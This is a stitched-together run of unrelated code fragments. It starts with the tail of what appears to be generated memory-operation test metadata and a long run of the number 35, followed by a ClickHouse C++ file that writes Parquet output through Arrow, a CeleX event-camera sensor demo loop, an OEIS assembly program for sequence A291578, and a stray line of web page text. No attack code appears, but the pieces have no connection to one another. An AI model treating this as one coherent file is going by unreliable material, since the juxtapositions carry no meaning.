{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
|
#include "ParquetBlockOutputFormat.h"
#if USE_PARQUET
// TODO: clean includes
#include <Columns/ColumnDecimal.h>
#include <Columns/ColumnFixedString.h>
#include <Columns/ColumnNullable.h>
#include <Columns/ColumnString.h>
#include <Columns/ColumnVector.h>
#include <Columns/ColumnsNumber.h>
#include <Common/assert_cast.h>
#include <Core/ColumnWithTypeAndName.h>
#include <Core/callOnTypeIndex.h>
#include <DataTypes/DataTypeDateTime.h>
#include <DataTypes/DataTypeNullable.h>
#include <DataTypes/DataTypesDecimal.h>
#include <DataStreams/SquashingBlockOutputStream.h>
#include <Formats/FormatFactory.h>
#include <IO/WriteHelpers.h>
#include <arrow/api.h>
#include <arrow/io/api.h>
#include <arrow/util/decimal.h>
#include <arrow/util/memory.h>
#include <parquet/arrow/writer.h>
#include <parquet/exception.h>
#include <parquet/deprecated_io.h>
namespace DB
{
namespace ErrorCodes
{
extern const int UNKNOWN_EXCEPTION;
extern const int UNKNOWN_TYPE;
}
ParquetBlockOutputFormat::ParquetBlockOutputFormat(WriteBuffer & out_, const Block & header_, const FormatSettings & format_settings_)
: IOutputFormat(header_, out_), format_settings{format_settings_}
{
}
static void checkStatus(arrow::Status & status, const std::string & column_name)
{
if (!status.ok())
throw Exception{"Error with a parquet column \"" + column_name + "\": " + status.ToString(), ErrorCodes::UNKNOWN_EXCEPTION};
}
template <typename NumericType, typename ArrowBuilderType>
static void fillArrowArrayWithNumericColumnData(
ColumnPtr write_column, std::shared_ptr<arrow::Array> & arrow_array, const PaddedPODArray<UInt8> * null_bytemap)
{
const PaddedPODArray<NumericType> & internal_data = assert_cast<const ColumnVector<NumericType> &>(*write_column).getData();
ArrowBuilderType builder;
arrow::Status status;
const UInt8 * arrow_null_bytemap_raw_ptr = nullptr;
PaddedPODArray<UInt8> arrow_null_bytemap;
if (null_bytemap)
{
/// Invert values since Arrow interprets 1 as a non-null value, while CH as a null
arrow_null_bytemap.reserve(null_bytemap->size());
for (size_t i = 0, size = null_bytemap->size(); i < size; ++i)
arrow_null_bytemap.emplace_back(1 ^ (*null_bytemap)[i]);
arrow_null_bytemap_raw_ptr = arrow_null_bytemap.data();
}
if constexpr (std::is_same_v<NumericType, UInt8>)
status = builder.AppendValues(
reinterpret_cast<const uint8_t *>(internal_data.data()),
internal_data.size(),
reinterpret_cast<const uint8_t *>(arrow_null_bytemap_raw_ptr));
else
status = builder.AppendValues(internal_data.data(), internal_data.size(), reinterpret_cast<const uint8_t *>(arrow_null_bytemap_raw_ptr));
checkStatus(status, write_column->getName());
status = builder.Finish(&arrow_array);
checkStatus(status, write_column->getName());
}
template <typename ColumnType>
static void fillArrowArrayWithStringColumnData(
ColumnPtr write_column, std::shared_ptr<arrow::Array> & arrow_array, const PaddedPODArray<UInt8> * null_bytemap)
{
const auto & internal_column = assert_cast<const ColumnType &>(*write_column);
arrow::StringBuilder builder;
arrow::Status status;
for (size_t string_i = 0, size = internal_column.size(); string_i < size; ++string_i)
{
if (null_bytemap && (*null_bytemap)[string_i])
{
status = builder.AppendNull();
}
else
{
StringRef string_ref = internal_column.getDataAt(string_i);
status = builder.Append(string_ref.data, string_ref.size);
}
checkStatus(status, write_column->getName());
}
status = builder.Finish(&arrow_array);
checkStatus(status, write_column->getName());
}
static void fillArrowArrayWithDateColumnData(
ColumnPtr write_column, std::shared_ptr<arrow::Array> & arrow_array, const PaddedPODArray<UInt8> * null_bytemap)
{
const PaddedPODArray<UInt16> & internal_data = assert_cast<const ColumnVector<UInt16> &>(*write_column).getData();
//arrow::Date32Builder date_builder;
arrow::UInt16Builder builder;
arrow::Status status;
for (size_t value_i = 0, size = internal_data.size(); value_i < size; ++value_i)
{
if (null_bytemap && (*null_bytemap)[value_i])
status = builder.AppendNull();
else
/// Implicitly converts UInt16 to Int32
status = builder.Append(internal_data[value_i]);
checkStatus(status, write_column->getName());
}
status = builder.Finish(&arrow_array);
checkStatus(status, write_column->getName());
}
static void fillArrowArrayWithDateTimeColumnData(
ColumnPtr write_column, std::shared_ptr<arrow::Array> & arrow_array, const PaddedPODArray<UInt8> * null_bytemap)
{
auto & internal_data = assert_cast<const ColumnVector<UInt32> &>(*write_column).getData();
//arrow::Date64Builder builder;
arrow::UInt32Builder builder;
arrow::Status status;
for (size_t value_i = 0, size = internal_data.size(); value_i < size; ++value_i)
{
if (null_bytemap && (*null_bytemap)[value_i])
status = builder.AppendNull();
else
/// Implicitly converts UInt16 to Int32
//status = date_builder.Append(static_cast<int64_t>(internal_data[value_i]) * 1000); // now ms. TODO check other units
status = builder.Append(internal_data[value_i]);
checkStatus(status, write_column->getName());
}
status = builder.Finish(&arrow_array);
checkStatus(status, write_column->getName());
}
template <typename DataType>
static void fillArrowArrayWithDecimalColumnData(
ColumnPtr write_column,
std::shared_ptr<arrow::Array> & arrow_array,
const PaddedPODArray<UInt8> * null_bytemap,
const DataType * decimal_type)
{
const auto & column = static_cast<const typename DataType::ColumnType &>(*write_column);
arrow::DecimalBuilder builder(arrow::decimal(decimal_type->getPrecision(), decimal_type->getScale()));
arrow::Status status;
for (size_t value_i = 0, size = column.size(); value_i < size; ++value_i)
{
if (null_bytemap && (*null_bytemap)[value_i])
status = builder.AppendNull();
else
status = builder.Append(
arrow::Decimal128(reinterpret_cast<const uint8_t *>(&column.getElement(value_i).value))); // TODO: try copy column
checkStatus(status, write_column->getName());
}
status = builder.Finish(&arrow_array);
checkStatus(status, write_column->getName());
/* TODO column copy
const auto & internal_data = static_cast<const typename DataType::ColumnType &>(*write_column).getData();
//ArrowBuilderType numeric_builder;
arrow::DecimalBuilder builder(arrow::decimal(decimal_type->getPrecision(), decimal_type->getScale()));
arrow::Status status;
const uint8_t * arrow_null_bytemap_raw_ptr = nullptr;
PaddedPODArray<UInt8> arrow_null_bytemap;
if (null_bytemap)
{
/// Invert values since Arrow interprets 1 as a non-null value, while CH as a null
arrow_null_bytemap.reserve(null_bytemap->size());
for (size_t i = 0, size = null_bytemap->size(); i < size; ++i)
arrow_null_bytemap.emplace_back(1 ^ (*null_bytemap)[i]);
arrow_null_bytemap_raw_ptr = arrow_null_bytemap.data();
}
if constexpr (std::is_same_v<NumericType, UInt8>)
status = builder.AppendValues(
reinterpret_cast<const uint8_t *>(internal_data.data()),
internal_data.size(),
reinterpret_cast<const uint8_t *>(arrow_null_bytemap_raw_ptr));
else
status = builder.AppendValues(internal_data.data(), internal_data.size(), reinterpret_cast<const uint8_t *>(arrow_null_bytemap_raw_ptr));
checkStatus(status, write_column->getName());
status = builder.Finish(&arrow_array);
checkStatus(status, write_column->getName());
*/
}
#define FOR_INTERNAL_NUMERIC_TYPES(M) \
M(UInt8, arrow::UInt8Builder) \
M(Int8, arrow::Int8Builder) \
M(UInt16, arrow::UInt16Builder) \
M(Int16, arrow::Int16Builder) \
M(UInt32, arrow::UInt32Builder) \
M(Int32, arrow::Int32Builder) \
M(UInt64, arrow::UInt64Builder) \
M(Int64, arrow::Int64Builder) \
M(Float32, arrow::FloatBuilder) \
M(Float64, arrow::DoubleBuilder)
const std::unordered_map<String, std::shared_ptr<arrow::DataType>> internal_type_to_arrow_type = {
{"UInt8", arrow::uint8()},
{"Int8", arrow::int8()},
{"UInt16", arrow::uint16()},
{"Int16", arrow::int16()},
{"UInt32", arrow::uint32()},
{"Int32", arrow::int32()},
{"UInt64", arrow::uint64()},
{"Int64", arrow::int64()},
{"Float32", arrow::float32()},
{"Float64", arrow::float64()},
//{"Date", arrow::date64()},
//{"Date", arrow::date32()},
{"Date", arrow::uint16()}, // CHECK
//{"DateTime", arrow::date64()}, // BUG! saves as date32
{"DateTime", arrow::uint32()},
// TODO: ClickHouse can actually store non-utf8 strings!
{"String", arrow::utf8()},
{"FixedString", arrow::utf8()},
};
static const PaddedPODArray<UInt8> * extractNullBytemapPtr(ColumnPtr column)
{
ColumnPtr null_column = assert_cast<const ColumnNullable &>(*column).getNullMapColumnPtr();
const PaddedPODArray<UInt8> & null_bytemap = assert_cast<const ColumnVector<UInt8> &>(*null_column).getData();
return &null_bytemap;
}
class OstreamOutputStream : public arrow::io::OutputStream
{
public:
explicit OstreamOutputStream(WriteBuffer & ostr_) : ostr(ostr_) { is_open = true; }
~OstreamOutputStream() override {}
// FileInterface
::arrow::Status Close() override
{
is_open = false;
return ::arrow::Status::OK();
}
::arrow::Status Tell(int64_t* position) const override
{
*position = total_length;
return ::arrow::Status::OK();
}
bool closed() const override { return !is_open; }
// Writable
::arrow::Status Write(const void* data, int64_t length) override
{
ostr.write(reinterpret_cast<const char *>(data), length);
total_length += length;
return ::arrow::Status::OK();
}
private:
WriteBuffer & ostr;
int64_t total_length = 0;
bool is_open = false;
PARQUET_DISALLOW_COPY_AND_ASSIGN(OstreamOutputStream);
};
void ParquetBlockOutputFormat::consume(Chunk chunk)
{
auto & header = getPort(PortKind::Main).getHeader();
const size_t columns_num = chunk.getNumColumns();
/// For arrow::Schema and arrow::Table creation
std::vector<std::shared_ptr<arrow::Field>> arrow_fields;
std::vector<std::shared_ptr<arrow::Array>> arrow_arrays;
arrow_fields.reserve(columns_num);
arrow_arrays.reserve(columns_num);
for (size_t column_i = 0; column_i < columns_num; ++column_i)
{
// TODO: constructed every iteration
ColumnWithTypeAndName column = header.safeGetByPosition(column_i);
column.column = chunk.getColumns()[column_i];
const bool is_column_nullable = column.type->isNullable();
const auto & column_nested_type
= is_column_nullable ? static_cast<const DataTypeNullable *>(column.type.get())->getNestedType() : column.type;
const std::string column_nested_type_name = column_nested_type->getFamilyName();
if (isDecimal(column_nested_type))
{
const auto add_decimal_field = [&](const auto & types) -> bool {
using Types = std::decay_t<decltype(types)>;
using ToDataType = typename Types::LeftType;
if constexpr (
std::is_same_v<
ToDataType,
DataTypeDecimal<
Decimal32>> || std::is_same_v<ToDataType, DataTypeDecimal<Decimal64>> || std::is_same_v<ToDataType, DataTypeDecimal<Decimal128>>)
{
const auto & decimal_type = static_cast<const ToDataType *>(column_nested_type.get());
arrow_fields.emplace_back(std::make_shared<arrow::Field>(
column.name, arrow::decimal(decimal_type->getPrecision(), decimal_type->getScale()), is_column_nullable));
}
return false;
};
callOnIndexAndDataType<void>(column_nested_type->getTypeId(), add_decimal_field);
}
else
{
if (internal_type_to_arrow_type.find(column_nested_type_name) == internal_type_to_arrow_type.end())
{
throw Exception{"The type \"" + column_nested_type_name + "\" of a column \"" + column.name
+ "\""
" is not supported for conversion into a Parquet data format",
ErrorCodes::UNKNOWN_TYPE};
}
arrow_fields.emplace_back(std::make_shared<arrow::Field>(column.name, internal_type_to_arrow_type.at(column_nested_type_name), is_column_nullable));
}
std::shared_ptr<arrow::Array> arrow_array;
ColumnPtr nested_column
= is_column_nullable ? assert_cast<const ColumnNullable &>(*column.column).getNestedColumnPtr() : column.column;
const PaddedPODArray<UInt8> * null_bytemap = is_column_nullable ? extractNullBytemapPtr(column.column) : nullptr;
if ("String" == column_nested_type_name)
{
fillArrowArrayWithStringColumnData<ColumnString>(nested_column, arrow_array, null_bytemap);
}
else if ("FixedString" == column_nested_type_name)
{
fillArrowArrayWithStringColumnData<ColumnFixedString>(nested_column, arrow_array, null_bytemap);
}
else if ("Date" == column_nested_type_name)
{
fillArrowArrayWithDateColumnData(nested_column, arrow_array, null_bytemap);
}
else if ("DateTime" == column_nested_type_name)
{
fillArrowArrayWithDateTimeColumnData(nested_column, arrow_array, null_bytemap);
}
else if (isDecimal(column_nested_type))
{
auto fill_decimal = [&](const auto & types) -> bool
{
using Types = std::decay_t<decltype(types)>;
using ToDataType = typename Types::LeftType;
if constexpr (
std::is_same_v<
ToDataType,
DataTypeDecimal<
Decimal32>> || std::is_same_v<ToDataType, DataTypeDecimal<Decimal64>> || std::is_same_v<ToDataType, DataTypeDecimal<Decimal128>>)
{
const auto & decimal_type = static_cast<const ToDataType *>(column_nested_type.get());
fillArrowArrayWithDecimalColumnData(nested_column, arrow_array, null_bytemap, decimal_type);
}
return false;
};
callOnIndexAndDataType<void>(column_nested_type->getTypeId(), fill_decimal);
}
#define DISPATCH(CPP_NUMERIC_TYPE, ARROW_BUILDER_TYPE) \
else if (#CPP_NUMERIC_TYPE == column_nested_type_name) \
{ \
fillArrowArrayWithNumericColumnData<CPP_NUMERIC_TYPE, ARROW_BUILDER_TYPE>(nested_column, arrow_array, null_bytemap); \
}
FOR_INTERNAL_NUMERIC_TYPES(DISPATCH)
#undef DISPATCH
else
{
throw Exception{"Internal type \"" + column_nested_type_name + "\" of a column \"" + column.name
+ "\""
" is not supported for conversion into a Parquet data format",
ErrorCodes::UNKNOWN_TYPE};
}
arrow_arrays.emplace_back(std::move(arrow_array));
}
std::shared_ptr<arrow::Schema> arrow_schema = std::make_shared<arrow::Schema>(std::move(arrow_fields));
std::shared_ptr<arrow::Table> arrow_table = arrow::Table::Make(arrow_schema, arrow_arrays);
auto sink = std::make_shared<OstreamOutputStream>(out);
if (!file_writer)
{
parquet::WriterProperties::Builder builder;
#if USE_SNAPPY
builder.compression(parquet::Compression::SNAPPY);
#endif
auto props = builder.build();
auto status = parquet::arrow::FileWriter::Open(
*arrow_table->schema(),
arrow::default_memory_pool(),
sink,
props, /*parquet::default_writer_properties(),*/
&file_writer);
if (!status.ok())
throw Exception{"Error while opening a table: " + status.ToString(), ErrorCodes::UNKNOWN_EXCEPTION};
}
// TODO: calculate row_group_size depending on a number of rows and table size
auto status = file_writer->WriteTable(*arrow_table, format_settings.parquet.row_group_size);
if (!status.ok())
throw Exception{"Error while writing a table: " + status.ToString(), ErrorCodes::UNKNOWN_EXCEPTION};
}
void ParquetBlockOutputFormat::finalize()
{
if (file_writer)
{
auto status = file_writer->Close();
if (!status.ok())
throw Exception{"Error while closing a table: " + status.ToString(), ErrorCodes::UNKNOWN_EXCEPTION};
}
}
void registerOutputFormatProcessorParquet(FormatFactory & factory)
{
factory.registerOutputFormatProcessor(
"Parquet",
[](WriteBuffer & buf,
const Block & sample,
FormatFactory::WriteCallback,
const FormatSettings & format_settings)
{
auto impl = std::make_shared<ParquetBlockOutputFormat>(buf, sample, format_settings);
/// TODO
// auto res = std::make_shared<SquashingBlockOutputStream>(impl, impl->getHeader(), format_settings.parquet.row_group_size, 0);
// res->disableFlush();
return impl;
});
}
}
#else
namespace DB
{
class FormatFactory;
void registerOutputFormatProcessorParquet(FormatFactory &)
{
}
}
#endif
|
#include "include/celex4/celex4.h"
#include "include/celex5/celex5.h"
#include <vector>
#include <iostream>
#ifdef _WIN32
#include <windows.h>
#else
#include<unistd.h>
#endif
using namespace std;
int main()
{
bool bCeleX4Device = false;
if (bCeleX4Device)
{
CeleX4 *pCeleX4 = new CeleX4;
if (NULL == pCeleX4)
return 0;
pCeleX4->openSensor();
pCeleX4->setSensorMode(CeleX4::Event_Mode); //Full_Picture_Mode, Event_Mode, FullPic_Event_Mode
long max_len = 12800000;
unsigned char* pBuffer = new unsigned char[max_len];
if (NULL == pBuffer)
{
return 0;
}
while (true)
{
long data_len = pCeleX4->getFPGADataSize();
//cout << "data_len = " << data_len << endl;
if (data_len > 0)
{
long read_len = pCeleX4->readDataFromFPGA(data_len > max_len ? max_len : data_len, pBuffer);
cout << "--- read_len = " << read_len << endl;
//
// add you own code to parse the data
//
#ifdef _WIN32
Sleep(1);
#else
usleep(1000);
#endif
}
}
}
else
{
CeleX5 *pCeleX5 = new CeleX5;
if (NULL == pCeleX5)
return 0;
pCeleX5->openSensor();
pCeleX5->setSensorFixedMode(CeleX5::Full_Picture_Mode); //Full_Picture_Mode, Event_Address_Only_Mode, Full_Optical_Flow_S_Mode
while (true)
{
vector<uint8_t> buffer;
pCeleX5->getMIPIData(buffer);
cout << "data size = " << buffer.size() << endl;
//
// add you own code to parse the data
//
#ifdef _WIN32
Sleep(1);
#else
usleep(1000 * 1);
#endif
}
}
} |
; A291578: The arithmetic function uhat(n,7,7).
; 1,1,1,1,1,1,-5,1,1,1,1,1,1,-5,1,1,1,1,1,1,-5,1,1,1,1,1,1,-5,1,1,1,1,1,1,-5,1,1,1,1,1,1,-5,1,1,1,1,1,1,-5,1,1,1,1,1,1,-5,1,1,1,1,1,1,-5,1,1,1,1,1,1,-5
add $0,1
gcd $0,7
sub $0,2
sub $1,$0
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.